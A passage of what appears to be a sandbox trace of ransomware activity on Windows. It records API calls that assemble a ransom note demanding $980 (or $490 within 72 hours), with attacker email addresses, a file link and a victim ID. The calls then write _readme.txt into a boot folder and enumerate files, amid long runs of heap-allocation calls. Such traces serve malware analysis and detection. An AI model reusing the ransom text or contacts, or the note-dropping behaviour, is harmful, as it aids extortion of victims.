and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg" [0117.080] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg", lpString2="5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JbqssVgS78\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngerentoshelp@firemail.cc\r\n\r\nYour personal ID:\r\n0163Asd483yiqgkhjdg5Suxi77KGAR9wq8RwOaGZHqD8MKoqHbJBz3MipcN" [0117.080] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676bc10 [0117.080] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.080] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676bc10 | out: hHeap=0x35b0000) returned 1 [0117.080] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771170 | out: hHeap=0x35b0000) returned 1 [0117.080] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676ab00 | out: hHeap=0x35b0000) returned 1 [0117.080] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.080] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.081] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.081] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0117.081] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0117.081] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6164fa0 | out: hHeap=0x35b0000) returned 1 [0117.081] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6164fa0 [0117.081] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.081] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.081] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.081] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.081] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.081] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.081] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.081] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.081] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.081] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.082] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.082] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.083] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.083] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc2e) returned 0x61eeac0 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.084] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.084] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x840) returned 0x676b388 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.085] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.085] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x830) returned 0x676b388 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xc46) returned 0x61eeac0 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x820) returned 0x676b388 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x676b388 | out: hHeap=0x35b0000) returned 1 [0117.086] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165108 | out: hHeap=0x35b0000) returned 1 [0117.086] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x20) returned 0x6165108 [0117.087] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x860) returned 0x61eeac0 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61eeac0 | out: hHeap=0x35b0000) returned 1 [0117.087] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, 